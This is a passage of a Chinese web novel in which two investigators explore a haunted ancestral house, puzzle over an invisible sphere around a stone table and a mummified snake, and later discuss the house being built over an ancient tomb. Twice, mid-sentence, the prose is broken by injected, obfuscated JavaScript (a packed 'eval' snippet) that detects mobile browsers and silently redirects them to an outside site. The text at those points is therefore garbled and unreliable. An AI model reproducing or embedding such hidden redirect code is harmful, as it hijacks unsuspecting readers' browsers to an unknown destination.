“什么法术,小说看多了吧,我又不是变戏法的,”伊峰秋又好气又好笑,一把拉起唐镜,“正事要紧,穿过这进院子,后面那进院子,就是齐卓宇住的地方,赶紧走吧。” 齐卓宇住的地方,他和他看不见的爱人生活的地方,也是他最后消失的地方。 唐镜赶紧跟上伊峰秋,到了第二进院子。 和第一进院子不同,第二进院子没有出现任何诡异情况,她和伊峰秋顺利穿过第二进院子,到了第三进院子前。 第三进院子的墙明显要比其他院子高一些,深褐色的木门紧闭,上面横着一把大铁锁,锈迹斑斑。 伊峰秋依旧先用电筒照了照铁锁,唐镜顺着他的目光看过去,见铁锁锁眼上也蒙着铁锈和灰尘,那么就是说,这铁锁许久没有被打开过。 她记得,老宅大门的那把锁,虽然同样锈迹斑斑,可是锁眼的地方却是干净的,证明那把锁经常有人开。 伊峰秋看着铁锁,沉吟了一下,并没有去开锁,反而拉着她绕着围墙走了一圈,边走边察看着墙面和地面。 围墙是用青砖砌成,上面刷着的石灰早已经剥落,露出的地方长着青苔,地面上都是高高矮矮的野草。 走到一半的时候,伊峰秋停下脚步,抬头看着围墙上方。 一株大树的树干从墙里面探出来,树杈比成年人的小腿还粗,看不出来是什么树,虽然已经是秋天,但是蒲扇般大小的叶子,依然绿意盎然。 “我先上去看看。”伊峰秋说完,往后退了几步,随后一个冲刺,两脚在墙上交替一蹬,蹿上围墙,双手攀住树杈,一个翻身,人就坐在了树枝上。 果然是练家子,身手干净利落,整个过程不超过三秒钟! 他先是朝院子里看了一下,然后从背包里掏出一根绳子,一头抛给唐镜,一头抓在手里:“我拽你上来。” 唐镜没有接绳子,朝他摇摇头,然后学着他的样子,往后退了几步,助跑之后,两脚蹬在墙面上,手搭在墙头上,一翻身,直接坐到墙头上。 受限于身高和力气,她没办法像伊峰秋那样直接攀住树枝,只能先上墙头。 伊峰秋竖起大拇指,随后伸出一只手,把她拉到树上。 唐镜一坐稳,就迫不及待的朝院子里看去,居高临下,从这个角度看去,整个院子的情形尽收眼底。 依然是正屋加东西厢房的布局,东面围墙下面有两间角房。 正屋前面的院子,青石砖铺地,除了这棵大树外,并没有任何多余的花草树木,整个院子显得非常开阔。 大树下面,摆放着一张圆石桌,桌旁放着两只石制圆凳,即使在夜晚,也可以看到莹白色的石面,泛着莹润的光泽。 这石桌和圆凳,居然是由整块汉白玉雕成的。 齐卓宇和那个神秘的女子,是不是经常坐在这里? 手电筒的光照在石桌和圆凳上,莹白色的石面更显得温润,隐隐有种半透明的感觉。 她看着石桌和圆凳,突然觉得有些不对劲,这院子一看就是许久没有人来过,可是为什么石凳和圆桌上面,不仅没有一片落叶,甚至连灰尘都看不到! 桌凳上面一尘不染,就好像有人在天天擦拭。 她把目光转向伊峰秋,果然他也发现了这点,盯着桌凳表面,眉毛微微扬起,一副若有所思的样子。 “难道有人来打扫这里?”唐镜低声说道。 伊峰秋摇了摇头,手电筒往桌凳旁边照了照:“你看,这上面没有任何动过的痕迹。” 桌凳周围一圈都是参差不齐的野草,如果有人过来打扫,必定会在野草上面留下踩踏的痕迹,可是并没有这样的痕迹。 说实在的,其实这情形还是挺诡异的,不过也许是因为进入这个老宅以后,已经经过了那些诡异的事情,也就见怪不怪了。 23. 第 23 章 伊峰秋观察了一会桌凳,突然伸手从旁边的树枝上摘下一片树叶,扔向桌子。 树叶飘飘荡荡,快要接近桌子的时候,突然斜斜滑了出去,就好像桌子表面有一个无形的光滑的罩子,树叶顺着罩子滑落到旁边的野草上。 唐镜眼睛一下瞪大了,回过神以后,她伸手折下一截树枝,学着伊峰秋的样子,往石桌上扔过去。 还是同样的情形,树枝也在快要接近桌子的时候,弹了一下,随后就无声无息的滑到野草上。 她忍不住揉了揉眼睛。 难怪石桌和凳子一层不染,原来是被一个看不见的罩子罩住了,只不过,为什么要这么做? 伊峰秋把绳子在树杈上绕了两圈,然后一头交给唐镜,另外一头系在自己腰间,左手控制着绳子的长短,对准石桌中间,把自己一点一点的放下去。 在距离石桌上方一尺远的地方,他停了下来。 就这样,伊峰秋被绳子吊着,整个人凌空悬在石桌上方,一动不动。他慢慢伸出右手,往那层无形的罩子上摸去。 唐镜屏住呼吸,心脏仿佛都停止了跳动,脑海里不可遏制的浮现出各种奇怪的情景:他的右手会不会一下消失?他在碰到罩子的瞬间,会不会整个人被罩子吸进去?又或者,从罩子里面蹿出什么东西来? 伊峰秋的手一点一点的接近石桌。 一滴汗珠从他的鼻尖上滴落,弹在那层无形的罩子上,随后划出一道弧形,滴落在野草叶子上。 他的手指指尖,触到了那层无形的罩子,然后就停留在那里,一动不动,仿佛正在用指尖感受情人肌肤的温度。 “小心点。”唐镜摒住呼吸,轻轻说道。 伊峰秋没有说话,只是转头朝她微微一笑,随后,他的整个掌心贴上去,顺着罩子慢慢往下滑动。 这时候若是有不知情的人看到,定会觉得不可思议,因为伊峰秋的手明明很用力的往下按着,却总是和圆桌隔着一寸距离,怎么也碰不到桌面。 大概是没感觉到什么危险,伊峰秋朝唐镜招招手:“下来吧。” 唐镜把绳子在腰间系好,一点一点把自己放下去,悬空停在伊峰秋身边,学着他的样子,把右手掌心往下按去。 掌心肌肤触及到那无形的罩子时,感觉像是触到了温润的玉,滑腻中透着暖意,若是再往下用力,手掌就会不由自主的滑下去。 这种感觉很奇怪,就好像这层无形的罩子表面,完全没有任何摩擦力,任何东西都无法停留在上面。 她好奇心顿起,随手拔下一根头发,放到无形的罩子上。 头发缓缓滑落到地上。 唐镜和伊峰秋利用绳子,悬吊在石桌的上方,各自伸出一只手按在那层无形的罩子上,只要稍微一用力,手心就会不受控制的顺着罩子滑下去。 根本没有可以借力的地方。 伊峰秋放开绳子,顺着罩子边缘落到地上,绕着石桌和石凳走了一圈。这无形的罩子就像一把透明的大伞,把整个石桌和石凳罩在里面,可望而不可及。 唐镜也落到地上,玩心突起,忍不住张开双臂,整个人扑到罩子上,对伊峰秋说:“给我拍张照片,一定很酷。” 确实,这时候如果有人在旁边看着,一定会觉得万分诡异,她以一种俯身拥抱的姿势,悬浮在桌面上方,比街头魔术还要神奇。 唐镜让伊峰秋拍照,只是随便说说,像伊峰秋这样的性子,又在这样的情形下,他肯定一口否决。 不料伊峰秋却真的拿出手机,对着她咔嚓拍了两张。 唐镜吃惊之余,差点从罩子上滑下来,不过随即反应过来,伊峰秋用的是他自己的手机。 “回去以后照片发给我。” “你要答应我,这两张照片不能让任何人看到。”伊峰秋一边收起手机,一边很认真的说。 唐镜翻了个白眼:“知道啦,其实这照片就算被人看到,也只会被当做PS出来的效果。” 伊峰秋没有理会她,自顾自收起手机,从背包里掏出一把折叠刀,打开后,锋利雪亮的刀尖对准罩子戳去。 刀尖抵在无形的罩子上,无法再前进一毫米。 伊峰秋手腕一翻,刀尖顺着罩子往下滑动,无声无息,可是唐镜分明看到刀尖有微微的弯折。 在她的感觉中,这个无形的罩子,就好像是玄幻小说中经常提到的结界,隔绝开了两个空间,根本无法穿越。 不过,这桌子和椅子究竟有什么奥秘,竟然要用这种方法保护起来? “伊队,这罩子总不会是用来防尘的吧?那也太暴敛天物了。”唐镜用手指戳戳罩子,“这桌子和凳子,会不会是通往另外一个时空的通道?” 脑洞一旦打开,各种想法顿时不受控制的涌出来。 “也许我坐到这凳子上,嗖的一下,就被送进了另外一个平行宇宙?那里也有一个我?” “又或者,一旦坐到凳子上,就会被送到外星人那里?” “有没有可能,这桌椅看着像是桌椅,其实是一艘袖珍宇宙飞船?这无形的罩子就是宇宙飞船的外壳,那圆桌就是操纵台?” …… 唐镜一边围着桌椅打转,一边说出各种匪夷所思的想法。 伊峰秋默不作声,收起了折刀以后,他又试着用打火机灼烧罩子,还是没有任何变化,最后他又拿出电击器,电了几下罩子,只看到一道电光顺着罩子闪动了一下,那无形的罩子依然没有任何变化。 “伊队,你说有没有可能从旁边的地方挖个洞,一直挖到桌凳下面,然后从下面钻到罩子里去?”唐镜突然灵机一动,想出个主意。 伊峰秋点点头,一本正经的说:“你可以试试。” 他随手把甩棍递给唐镜,甩棍前面小而尖,倒还真挺适合掘土的。唐镜接过甩棍,兴致勃勃的准备挖土,压根就没注意到,伊峰秋眼睛里闪过的一丝戏谑笑意。 她沿着罩子外围走了一圈,然后找了个看上去比较松软的地方,顺着无形罩子边缘往下挖去,野草下面的土,一挖就松动,不一会就被掘出了一个一尺多深的坑,可是那层无形的罩子一直延伸到土下面,只是很明显,那个弧度在慢慢收小。 唐镜抹了一把额头上的汗,喘了两口大气,正想继续挖下去,无意中却看到伊峰秋站在一边,单腿向后蹬着围墙,拿了一瓶水,正悠闲的喝着。 看到伊峰秋那么悠闲的样子,唐镜脑袋里灵光一闪,突然意识到有什么地方不对,按照他的智商,断不会想不到挖洞这个法子,可是他没有行动,显然是觉得这个方法行不通。 这家伙分明一直在看她笑话! 唐镜直起身体,把甩棍往伊峰秋身上一扔:“你在耍我?” 伊峰秋手一捞,接住甩棍,微微一笑:“话可不能乱说,你既然想到法子,我总要支持你尝试下。” “你早就想到,这罩子会一直延伸到下面,根本不可能通过挖洞,从底下钻进罩子里!” “聪明!你不也想到了吗?”伊峰秋顿了顿,“当然,现在才想到,反应确实是迟钝了点。” “你才反应迟钝,你全家都反应迟钝!”唐镜气咻咻的走到伊峰秋身边,毫不客气的从他手里抢过水瓶,对着瓶口喝了一大口。 喝完之后,她把水瓶塞回到伊峰秋手里,却发现他看着水瓶口发呆,脸上微微有些红。 唐镜猛然反应过来,刚才伊峰秋对着瓶口喝过水,她拿过来,直接对着瓶子来了一口,换句话说,两人好像间接打了个KISS! 她的脸一下烫起来,为了掩饰这种窘迫,她故意装作没有注意这点,大声说道:“你是怎么看出来,这下面也会有无形的罩子?” “你看这个罩子的形状,像什么?”伊峰秋咳嗽了一声,指着罩子说道。 “像把伞。” “想象一下,伞面再往下延伸,一直延伸到土里,延伸到桌凳下面。”伊峰秋一边说,一边用手虚画了一条弧线。 “一个圆球!”唐镜恍然大悟,“一个透明的圆球!” “不错!”伊峰秋点点头,笑道,“这个无形的透明罩子,就是一个密闭的圆球,只有这样,才能让人无法进入到里面去。” “是的,如果不是封闭的罩子,想必早就有人从下面挖洞进去了。” “现在,你知道这是一个透明的圆球,有没有想到点什么?”伊峰秋挑了下眉毛,笑的意味深长。 唐镜脑海中有什么东西一闪而过,却又无比模糊,“透明的圆球,透明的圆球……”,这个画面应该曾经出现过。 “小孩子的玩具。”伊峰秋一句话立刻点醒了我。 肥皂泡! 广场上经常看到小孩子拿着管子,沾了肥皂水,吹出大大小小的肥皂泡。 这包裹着桌凳的无形透明罩子,不正像是一个气泡吗? “我们一直挖下去,挖到圆球底部,没准能把这个透明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234651|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩子带走!”唐镜抓住伊峰秋的手臂,激动的都快语无伦次了。 “如果这个罩子连着桌凳能被移走的话,你以为我们今天还能在这里看到它吗?”伊峰秋淡淡说道。 唐镜立刻清醒过来,是啊,如果这罩子能被移走,那应该早就不会在这里了,它能一直留在这里,一定有原因! “那这罩子为什么会留在这里?”她立刻说出心中的疑问。 “也许是因为,它在等一个合适的时机?或者等特定的人?”伊峰秋的语气里待着一丝戏谑,不过表情却很认真。 “等特定的人来开启它?”唐镜觉得这个答案还是挺有说服力的,“那个特定的人,一定有什么法子,能够进到这个罩子里来。” “进去能做什么呢?”伊峰秋盯着那张莹白色圆桌和石凳,若有所思的说。 “当然是坐在凳子上,喝个茶,发发呆什么的。”唐镜开玩笑道,“不过既然里面留了两张凳子,是不是意味着,要两个人一起才能进入罩子?” 伊峰秋眼睛一亮,喃喃重复道:“要两个人一起才能进入罩子?” “没准这透明罩子就是个小型的飞行器,那圆桌就是个操作台,两张圆凳,就是驾驶位,等驾驶员进去以后,就能操作这飞行器离开这里,甚至离开地球……”她又开始脑补起来。 “很有道理。”伊峰秋一边说,一边拉起她,“看来咱俩现在是没办法进去当驾驶员了,走吧。” “走?”唐镜沉浸在自己的脑洞中,还没反应过来。 “去齐卓宇房间里面瞧瞧,再在这磨蹭下去,天都快亮了。”伊峰秋拽着她,往正屋门口走去。 好吧,反正这大宅里有这么多诡异的事情,以后肯定还会再来,确实也不能在这里耽误太多时间。 不同于前两进院子里的中式古风,这进房屋里的家具和装饰,完全是西式风格,客厅里一圈皮质沙发,中间放着玻璃茶几,甚至客厅正面墙壁的中间,还修了一个壁炉。 壁炉上方的墙壁,挂着一张油画,画的是一个坐在窗边,穿着长裙的女子,她乌黑的头发高高盘起,发髻边插着一枚蓝宝石发簪,秀美无伦。 秋水为神玉为骨。 这女子,正是齐修给他们看过的那张全家福照片上的女子,也就是齐卓宇的爱人。 只是看着这幅画,就让人心动神摇,如果在现实中看到这样的女子,只怕连魂魄都要飞出去了。 “这就是齐卓宇喜欢的那个女人。”唐镜低声对伊峰秋说。 伊峰秋盯着油画,从上到下,从左到右,细细看了一遍,目光犀利,仿佛看的不是油画上的美人,而是在审讯犯人。 “这是齐卓宇亲手画的。”伊峰秋指着油画的右下角说道。 右下角上面有一行小字“庚申年九月己已日,妻久未归,手绘爱妻画像,聊慰相思”。 真想不到,这画竟然是齐卓宇亲手所画,真是文武双全。 唐镜和伊峰秋在客厅里转了一圈,整个客厅并没有什么异状,唯一让人觉得古怪的是,这房间里分明久没住人,可是却并没有那种久无人气的凄清感,好像这房间里面一直有人生活。 家具和地面,包括墙壁,都一尘不染。 要知道,久未住人的房间,不仅会积下厚厚的灰尘,屋顶角落的地方,还会挂上蜘蛛网。 可是这间客厅,不仅干干净净,还有一种特别温馨温暖的感觉,就好像主人只是刚刚出去,随时都会回来,怎么都不像是几十年无人居住的空屋。 唐镜看看伊峰秋,见他眼中露出若有所思之意,显然,他也想到了这个问题。 “会不会,这房子里面一直有人住着?”她随手拿起茶几上摆放着的水晶烟灰缸,用手指摸了摸。 没有摸到烟灰,也没有摸到灰尘。 “上世纪后,齐家人大房和二房这两支人远走海外,三房这一脉留在国内,看守祖宅,后来风云变幻,三房后人死的死,坐牢的坐牢,又过了很多年,这幢大宅重新交还给齐家后人,也就是齐修的父母,可是他们并没有住进来。”伊峰秋说道。 “齐家人没有住进来,说不定有别人住进来,这房子有闹鬼传闻,一般人根本不敢靠近,说不定有什么人,比如流浪汉什么的,住进来也不会被发现。” “如果是流浪汉,你觉得这些东西还会完好的留在这里吗?”伊峰秋指了指唐镜手里的水晶烟灰缸,又指了指旁边柜子里放着的一套水晶杯。 24. 第 24 章 “是喔,这些东西可是价值不菲。”唐镜虽然不懂水晶,可是光看这套水晶杯的色泽,花纹和造型,就知道不是一般人家能买的起的。 如果真有人溜进这里,看见这些东西,肯定随手顺走了。 她和伊峰秋绕着客厅转了一圈,客厅左右两侧各有一扇门,左边的通往卧室,右边的通往一个雅致的餐厅。 卧室和餐厅也都是西式布置,收拾的干干净净。 只不过走出房子,到了后院,又是一副衰败景象,后院是一个小花园,篮球场大小,有假山,有花木,有碎石小径,全都年久失修,野草疯长。 从房子里面走到外面,就好像是穿梭在两个时空。 唐镜有一种奇怪的感觉,就好像这进房子并没有经历时间的流逝,依旧停留在齐卓宇消失的那一天。 至于为什么是齐卓宇消失的那一天,她只是凭着直觉认为是那一天,没有理由。 她把自己的感觉告诉了伊峰秋,他点点头:“我也有同样的感觉。” 那一天是齐卓宇的生日,他去见了他的父母,向父母道别,然后回到房间里,再然后,就消失在房间里。 这套房子就此停留在那一天。 很多年以后,唐镜和伊峰秋走进来,不仅仅是走进这间房子,还走进了那一天。 “齐修和齐修的父母,应该知道祖宅里,这些不对劲的地方吧?”唐镜想到过两天齐修会带他们来这里,到时他会如何解释这老宅里的各种诡异之处? “很难说。”伊峰秋沉吟了一下,“也许白天和晚上,所见会有不同?” 齐修肯定是白天带他们来这里,难道白天这里就会变得和寻常老宅一样?那么齐修,到底知道不知道,这套老宅里的诡异之处? 疑问一个接一个的涌上心头,唐镜恨不得和齐修是约在明天,省得接下来几天都被好奇心折磨。 两个人在齐卓宇的房间里又细细察看了一番,没有什么别的发现,最后拿手机拍了照片,离开了这进院子。 接下来的几进院子,两人匆匆看了一遍,再没有发现什么诡异的地方,和寻常废弃的老屋没什么区别。 等到他们从老宅后院墙翻出来的时候,东方的天际已经泛起一丝鱼肚白。 两人匆匆绕到正门,伊峰秋爬到树上,拿起藏在树枝里面的袋子,里面的双头蛇还在,只是一动不动。 为了防止生变,并没有解开袋子,直接拎着袋子往山下走去。 两人回到停车场,拿了车,一刻也没停留,直接开车返回。 开车回到市区,天色已经大亮,不过还没到上班时间,路上车流和行人并不多,道路两边的店铺有些已经开门,看着这些熟悉的场景,昨晚上在老宅的所见所闻,仿佛只是一场梦。 一晚没睡,不过因为满脑子的疑问,唐镜一点也不觉得疲惫,反而还挺兴奋。至于伊峰秋,眼睛比平时还要亮,很显然,他的大脑还在高速运转中。 伊峰秋把她送到小区门口,两人在小区旁边的早餐店里随便吃了点东西,然后唐镜就回家了,他则开车带着双头蛇直接去了局里。 到家以后,唐镜洗了个澡,钻进被窝,想睡却又睡不着,在齐家老宅里发生的那些事情,一幕一幕都在脑海里翻腾。 “叮咚”一条微信进来,是伊峰秋的信息。 “双头蛇死了”。 “啊?难道是装在袋子里捂死了?”唐镜使劲晃晃脑袋,那条双头蛇一出现的时候,那么凶猛,怎么说死就死了? “你是在质疑我的智商吗?袋子是高纤维材料,透气性很好,怎么可能被捂死!”这句话后面,还跟着一个抓狂的头像。 唐镜忍不住笑起来,伊峰秋平时说话比较严肃正经,没想到在微信上的语言,还挺可爱的。 “那双头蛇到底是怎么死的?”她一边笑一边迅速在微信上问。 很快,伊峰秋发了一张图片过来。 看到图片的瞬间,唐镜几乎不相信自己的眼睛! 双头蛇躺在不锈钢的实验台上,长度没有变化,可是体积却几乎缩小了三分之一,干瘪的蛇皮包裹着蛇骨,而蛇皮和蛇骨之间的血肉似乎被抽离出去。 换句话说,这条双头蛇,分明变成了一具干尸!就好像已经死去了几十年,尸身全部萎缩干枯。 好半天,她才回过神来,手指有些发颤,给伊峰秋回了微信“你们是要把双头蛇做成标本还是木乃伊?” “不是我们做的,我回去后,解开袋子,双头蛇就变成这样了。” 虽然唐镜隐约有这种猜测,不过看到伊峰秋的微信,还是觉得难以接受。从伊峰秋抓住双头蛇,到两人离开老宅,这期间不会超过八个小时,为什么这条蛇看上去像是死了有几十年? 而且伊峰秋上树拿走装蛇的袋子时,也确认袋子没有被任何人碰过,所以不存在偷梁换柱的可能。 为什么会这样? 唐镜突然想到一个可能性,赶紧发微信给伊峰秋,“会不会那宅子里的生物不能离开宅子?一旦离开宅子,就会变成这样?” 有这种猜测,完全是因为齐卓宇住的那进房子,给她的印象实在太深刻,那进房子好像远离时间的洪流,只停留在那一天中。 这条双头蛇,会不会也是这样?它也许一直活在百年前的一天,可是因为唐镜和伊峰秋的闯入,它重新进入时间的洪流里,结果一瞬百年,它变成了干尸。 她把猜想发给伊峰秋。 他回了一个笑脸。 唐镜不明白这个笑脸是什么意思,难道他是在笑她脑洞开的太大? 囧…… 也许是和伊峰秋一通微信往来,唐镜的精神突然放松下来了,这时候才感觉到身心俱疲,毕竟一晚没睡,又经历了那么多稀奇古怪的事情,不管是对精神还是对身体,都消耗极大。 倦意像潮水般涌来,她把手机调到静音,扔到一边,眼睛一闭就睡过去了。 再睁开眼睛,外面日影西斜,已经是下午了。 唐镜躺在床上伸了个懒腰,随手拿起手机,来了好几条微信,有伊峰秋的,还有郑落落的,还有一条居然是齐修发来的。 伊峰秋的微信简单明了,说他和天道大学学考古系的杨教授联系过了,把那只黑猫爪子比划的图案发给杨教授,翻译出来是“我是大祭司,困于黑猫体内,送我回神庙,我赐你永生”。 大祭司?困于黑猫体内? 难道说,那只黑猫是人变的?不对,应该说,黑猫的身体里寄居着一个自称大祭司的灵魂…… 人的灵魂被困在一只黑猫的身体里? 好吧,虽然这猜想确实匪夷所思,不过自从经历了菲姐失踪的事情,又在齐家古宅里待了一晚,唐镜觉得就算那只黑猫在她面前突然变成人,她也不会太惊奇。 她给伊峰秋回了条微信“那你赶紧去把那只黑猫弄出来,别耽误了永生的机会喔”。 回完伊峰秋的微信,她又看郑落落发来的信息“最近太无聊了,好期待去齐家古宅探险。” 齐修的微信“周末去我家祖宅,暂定住一晚,请做好过夜准备。” 住一晚? 这样也好,万一白天没什么发现,晚上也许能重现那些古怪! …… 很快到了周五,郑落落直接带着行李来了唐镜家,准备住一晚,明早和她一起出发。 郑落落一手拖一个大行李箱,一副装备齐全,要出远门的样子。 唐镜笑骂道:“明天就是去个郊区而已,又不是出国,至于吗你?” 她把两个行李箱往角落里一扔:“这叫专业,懂吗?” 放好行李,唐镜和郑落落勾肩搭背,出了小区,溜达着往许小三的小吃店走去。 “你那位帅哥呢?叫出来一起吃饭啊?”郑落落朝她挤眉弄眼。 这两天伊峰秋没有发微信,估计是忙起来了,也不知道明天他还有没有空一起去齐家祖宅。 “人家可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234652|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大忙人,不是你想约就能约出来的。”唐镜故意调侃郑落落。 “是你舍不得吧?”郑落落嘻嘻哈哈的凑到她耳边,“老实交代,你们已经发展到几垒了?” “什么几垒?”唐镜一时没反应过来,有些莫名其妙。 “且,你就装吧,摸手是一垒,抱抱是二垒,三垒嘛……”郑落落的目光看来看去,故意做出色迷迷的样子。 “拜托,我和伊峰秋只是普通朋友,什么几垒几垒的,别乱说!”唐镜顿时反应过来,忍不住朝郑落落翻了个白眼。 脑海里却突然浮现出,被伊峰秋抱在怀里时的情景,脸微微有些发热。 郑落落拍掌大笑:“唐镜,既然是普通朋友,脸红什么啊?是不是你们已经试过全垒打了?” “你个女色狼!”唐镜啐了郑落落一下,扭过头不去理她,“他只是我一个普通朋友,总之,不是你想的那种关系。” “伊峰秋有颜值有身材,放过他那是你的损失!”郑落落一副恨铁不成钢的表情。 “落落,我现在还是没办法考虑感情的事情,我过不去那道坎,我、我昨晚梦见了杨梵,我还是没有放下以前的事情。”唐镜自然不能告诉郑落落自己在齐家祖宅里经历的事情,只能含糊说在梦里。 “和你青梅竹马的那个少年?” 郑落落知道唐镜和杨梵的一些事情,不过她只知道杨梵是出意外后,下落不明,生不见人死不见尸,并不知道其中细节。 唐镜点了点头,没有说话。 郑落落表情变得认真起来:“都过去十年了,唐镜,你不能被过去羁绊,不管当年你和杨梵感情有多好,那毕竟都是回忆了,你的生活始终还是要继续的。” “道理我都明白。”唐镜苦笑一下。 道理谁都知道,然并卵。 郑落落不再说话,两人默默的走了一段路,直到走到许小三的小吃店门口,郑落落才带着惯有的夸张语气说:“你说的就是这家店?看上去很普通啊?” 许小三大概是看见唐镜了,从店里走出来,正听见郑落落的话,嘿嘿一笑:“美女,以貌取人是不对滴,以装修取店就更不对了,会错过真正的美味喔。” “那你赶紧烧几个拿手菜,好吃的话,我立刻在朋友圈里给你宣传宣传。”郑落落道。 “千万别替我宣传,光这些老主顾就够我伺候的了,我还想能站在这,悠闲的抽根烟,看看路过的美女呢。”许小三一边说,一边拿出一盒烟,从里面抽出一根,叼在嘴上。 “老板有个性,我喜欢!”郑落落毫不客气的从许小三的烟盒里取出一根香烟。 许小三一愣,随即就掏出打火机,给郑落落点上烟,两个人就这样站在门口,开始吞云吐雾,于是,不抽烟的唐镜,只能找个上风处默默站着…… 一根烟抽完,郑落落和许小三已经熟悉的像是认识了一辈子,互相以三儿,蓓子称呼起来,唐镜反倒像是个陌生人了。 许小三领着两人去那个小包厢,这次都不用唐镜点菜,许小三直接一手包办,推荐了他最拿手的四热菜,一道汤。 唐镜和郑落落来的比较早,店里还没什么客人,菜很快就上桌了。 火蒙鞭笋:嫩笋红白相映,按理说,这道菜算是Y市的传统菜,很多饭店都有这道菜,可是只有在这里,光是闻到菜的香气,口水就泛滥成灾。 郑落落迫不及待的夹了一筷子,入口爽脆,简直没办法放下筷子。 火瞳神仙鱼:汤汁鲜红浓香,鱼肉肥嫩油润,入口即化。 蛤蜊煨豆腐:豆腐和海鲜的味道融为一体,口感滑嫩,风味别致。 清蒸芥菜:原汁原味,青菜本身的微甜滋味一点都没破坏。 汤是莼菜汤。 四菜一汤,色香味俱全,郑落落筷子不停,吃的眉开眼笑:“好香!” 许小三又拿来几瓶他收藏的德国黑啤,郑落落硬拉着他坐下来,三个人一人拿一罐黑啤,边吃边聊起来。 25. 第 25 章 三个人喝着聊着,话题不知道怎么就扯到许小三左边脸上的那道刀疤了。 说句实在话,如果不是这道刀疤,许小三绝对是个眉清目秀的花样美男,不过这刀疤虽然拉低了他的颜值,却在某种程度上,给他增添了几分男子气概。 两下一比较,也算是扯平了。 许小三摸了摸刀疤,灌了一口啤酒,有些感慨的说道:“当年若不是伊大哥,我这半个脑袋就没了。” 唐镜本来还担心许小三说漏嘴,没想到他提起伊峰秋,并没有叫伊队,而是叫伊大哥,看来他还是一个很细心的人。 “伊峰秋救过你?”郑落落好奇问道。 “是啊,以前我不学好,跟着打群架,后来有一次跟人去讨债,对方是个狠角色,找了几个刑满释放的人,拿刀把我们堵在巷子里,我跑的时候被踹倒在地上,一把刀直接往我脸上劈过来。” 唐镜看着许小三清秀的面孔,实在很难把他和小混混联系在一起。 “当时我看着那把刀,脑子里面一片空白,就在刀锋碰到我脸上的时候,伊大哥冲过来,一脚把对方踹翻,拉起我就跑。” “他要是晚来一秒钟,这世上就没你小三儿这个人了。”郑落落喝了口啤酒,拍拍许小三的肩膀,“大难不死必有后福。” “人啊,一旦这么从生到死,从死到生的这么走了一趟,这心里琢磨的事儿就不一样了,”许小三有些感慨,“那事以后,我就不再跟那些人来往了,安心跟着老爸学厨艺,后来老爸老妈回乡下养老,我自己攒了点钱,伊大哥又给我投了点钱,盘下这家店面,也算走了条正道。” “三儿,你这手,天生就该拿菜刀,不适合砍砍杀杀。”郑落落跟许小三碰了碰啤酒,一饮而尽。 他们两个人喝酒的时候,唐镜手机微信提示音响了,我打开一看,是伊峰秋的信息“明天厅上有专家来局里,研究案情,我没办法陪你们去,你注意安全。” 虽然是在意料之中,不过唐镜还是觉得有点失落,但是转念一想,伊峰秋不去也好,她可以放开手脚做事情,不用太多顾忌。 她给伊峰秋回了微信“好的,放心。” 随后又给齐修发了微信“伊哥临时有事情,去不了了,我和郑落落按原计划等你来接我们。” 齐修很快回了微信“好。” 不一会到了饭点,陆陆续续有客人开始上门,许小三跟两人喝完一罐啤酒,就下楼去忙了。 包厢里只剩下唐镜和郑落落两个人。郑落落又开了一罐啤酒,唐镜忍不住说道:“少喝点,明天我们还要早起。” “拜托,现在才六点钟,这才是第二罐啤酒而已。”郑落落翻了个白眼,“这种啤酒,就算我再喝个四五罐,明天早上照样活蹦乱跳。” “齐修这个人神神叨叨的,谁知道他家老宅里有什么稀奇古怪的事情,你别以为是去郊游,我们是去探险!”唐镜半开玩笑半认真的说。 “对了,你知道不知道,齐修家的祖宅是修在古墓上面的……”郑落落故作神秘的看了看周围,凑过来说道。 “什么?”唐镜大吃一惊,险些不相信自己的耳朵,“你说什么?齐修家的祖宅修在古墓上面?” “不可思议吧?”郑落落得意的笑起来,“这件事情,就连齐家人,也只有每一代的族长知道。” “为什么修在古墓上?听着就瘆人。”唐镜实在无法理解这种做法。 “年代很久远的古墓啦,里面的棺材估计都化成灰了,是南北朝时期的墓,齐家现在的祖宅在民国时候重新翻修过,在明末清初的时候,齐家祖上根据风水先生的建议,选择在那里修宅院。” “原来是听了风水先生的建议,对了,你是怎么知道的?”虽然郑落落学的是考古,但是这种事情肯定不会出现在官方记载里。 “说起来也是很巧,我读研究生的时候,跟导师去参加一个国际学术会议,遇到了导师的同学,一个美籍华人,是考古界的大神级人物,他是桐留人,而且是那个风水先生的后人……”郑落落说到这里,欲言又止,笑嘻嘻的望着唐镜。 “行啦行啦,别卖关子了,这顿饭我请客。”和郑落落多年闺蜜,她这是什么意思,她自然明白。 “还要再陪我喝一罐啤酒。”郑落落开始讨价还价。 唐镜二话不说,打开了一罐啤酒。 在好奇心爆棚的时候,她就成了一个没有原则的人了。 “据那位考古界大神说,那座古墓是梁朝世家之墓,古墓所在的山腰,是藏风聚气之地什么的,我也不大懂,反正如果齐家把宅子修在那里,借助那里的风水,子孙后代就会福泽深厚,官运亨通之类的啦。” “齐家在清朝确实算是贵胄之家。”唐镜想起看到的关于齐家的那些资料,齐家祖先的官好像是越做越大。 “不过把宅院修在古墓上面,传出去总是不好听,所以这件事情就做为齐家的一个秘密,只有每一代的族长知道。后来到了动乱年代,齐家人死的死,走的走,估计也没人知道这件事了。” “这事你有没有告诉齐修?” 